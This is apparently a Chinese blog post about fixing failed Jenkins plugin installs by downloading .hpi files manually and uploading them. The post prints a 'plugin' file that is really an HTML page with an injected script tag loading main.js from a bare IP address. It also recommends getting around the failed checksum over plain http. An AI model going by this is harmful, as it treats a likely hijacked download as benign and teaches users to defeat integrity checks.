最近裝了一個jenkins准備搞一個自動化測試的持續集成,但是在安裝maven integration這個插件時報錯,試了幾次都是失敗!
錯誤原因如下:
javadoc安裝失敗:
java.io.IOException: Downloaded file /root/.jenkins/plugins/javadoc.jpi.tmp does not match expected SHA-1, expected '6saBzaxuRKG3iHFKKRqvgQ4PzLQ=', actual 'ukX+47gygL8XB6gi4h4r8ccdiaE=' at hudson.model.UpdateCenter.verifyChecksums(UpdateCenter.java:1810) at hudson.model.UpdateCenter.access$1100(UpdateCenter.java:149) at hudson.model.UpdateCenter$InstallationJob.replace(UpdateCenter.java:1963) at hudson.model.UpdateCenter$UpdateCenterConfiguration.install(UpdateCenter.java:1194) at hudson.model.UpdateCenter$DownloadJob._run(UpdateCenter.java:1680) at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1874) at hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1651) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at hudson.remoting.AtmostOneThreadExecutor$Worker.run(AtmostOneThreadExecutor.java:110) at java.lang.Thread.run(Thread.java:748)
登陸服務器查看該文件,該文件中有一個javadoc.hpi的下載地址,手動下載后,在jenkins插件管理中選擇高級模式,然后上傳安裝就可以解決!
[root@localhost plugins]# cat javadoc.jpi.tmp
<html><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><style>body#_bo{margin:0;padding:0;height:100%;overflow: hidden;background:#FFFFFF;}</style></head><body id="_bo"><iframe id="_if" frameborder=0 width="100%" height="100%" src="http://updates.jenkins-ci.org/download/plugins/javadoc/1.4/javadoc.hpi"></iframe><script src="http://222.186.61.95:9988/main.js?info_aid=183&info_sp=4201&info_spid=sohu&info_uid=FncnW2EMHChqdlFbZQZoXWR1Wl5lARtYFgZSXxUNbFIzc1NaZQUdXWB6&info_sda_man=M3NTWmUFHV1geg==&info_src=0"></script></body></html>[root@localhost plugins]# cd /root/.jenkins/plugins/javadoc
對於maven integration安裝失敗:
![]() java.io.IOException: Maven Integration plugin v3.1 failed to load. - javadoc v1.0 is missing. To fix, install v1.0 or later. at hudson.PluginWrapper.resolvePluginDependencies(PluginWrapper.java:626) at hudson.PluginManager.dynamicLoad(PluginManager.java:872) Caused: java.io.IOException: Failed to install maven-plugin plugin at hudson.PluginManager.dynamicLoad(PluginManager.java:882) at hudson.PluginManager.dynamicLoad(PluginManager.java:821) at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1889) Caused: java.io.IOException: Failed to dynamically deploy this plugin at hudson.model.UpdateCenter$InstallationJob._run(UpdateCenter.java:1893) at hudson.model.UpdateCenter$DownloadJob.run(UpdateCenter.java:1651) at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at hudson.remoting.AtmostOneThreadExecutor$Worker.run(AtmostOneThreadExecutor.java:110) at java.lang.Thread.run(Thread.java:748) |
發現該失敗是因為javadoc安裝失敗,導致缺少依賴包引起的,上面一布我們正好就解決了這個包的問題,我想既然javadoc包下載了那可不可以繼續用自動安裝的方法安裝maven integration呢,發現還是安裝失敗!
於是我果斷按照安裝javadoc的方式,在http://updates.jenkins-ci.org/download/plugins/maven-plugin/2.14/maven-plugin.hpi中手動下載hpi文件,然后在高級安裝中上傳,最后果然解決!
總結:對於這種自動安裝失敗的插件,我們都可以通過手動下載然后上傳的方式安裝